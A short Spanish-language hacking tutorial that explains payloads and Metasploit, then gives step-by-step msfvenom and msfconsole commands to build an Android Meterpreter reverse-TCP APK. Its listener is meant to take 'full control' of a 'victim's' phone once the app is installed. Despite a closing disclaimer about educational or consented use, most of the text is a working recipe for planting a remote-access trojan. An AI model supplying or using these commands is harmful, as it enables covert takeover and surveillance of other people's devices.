PAYLOAD
Un payload es un virus o malware que consiste en realizar una acción (normalmente maliciosa) en un dispositivo que esté conectado dentro de nuestra red o fuera de otra. El fin que tiene un payload es tener control total y remoto del dispositivo que se quiera interceptar en cuestión.
METASPLOIT
Metasploit es una herramienta de hacking y pentesting destinada a la explotación y tests de penetración de una manera sencilla. Esta herramienta es conocida por ser como una "navaja suiza" para los hackers y prácticamente todas las distribuciones de Linux lo traen.
¿COMO CREAMOS EL PAYLOAD?
1. Abrimos nuestro sistema operativo de seguridad preferido, luego la aplicación "Metasploit" y escribimos el comando"msfvenom -p android/meterpreter/reverse_tcp LHOST=xxxx LPORT=xxxx R > name.apk"
El comando se divide en varias partes que son:
- msfvenom -> Es la aplicación donde desarrollamos el payload
- -p -> Estamos indicando que vamos a realizar un payload
- android/meterpreter/reverse_tcp -> Es el tipo de payload que necesitamos
- LHOST -> Es la IP que usará la aplicación para comunicarse con nosotros. Si se va a hacer dentro de la red nuestra el valor es 192.168.1.1 pero si es fuera de nuestra red deberá ser nuestra IP Pública
- LPORT -> Es el puerto donde se conectará nuestra aplicación. Si la red es interna yo uso el puerto 8080 pero si es en una red exterior deberemos abrir el puerto que deseemos
- R > name.apk -> Es la ruta donde almacenaremos el payload y con que nombre. La ruta por defecto (cuando ponemos solo el nombre, es la carpeta personal o la de root).
2. Una vez hayamos introducido el payload en el móvil de nuestra víctima ponemos los siguientes comandos:
- msfconsole ->Iniciamos la aplicación de monitoreo
- use multi/handler
- set PAYLOAD android/meterpreter/reverse_tcp -> Indicamos cual payload queremos detectar
- set LHOST xxxx -> Indicamos la IP asignada al payload.
- set LPORT xxxx -> Indicamos el puerto asignado al payload
- exploit
Una vez llegados a este punto deberemos tener control total sobre el teléfono.
AVISO: Este tutorial debe ser usado con fines didácticos y en un dispositivo propio ya que sino es un delito de privacidad o en todo caso con el consentimiento del dueño del terminal.
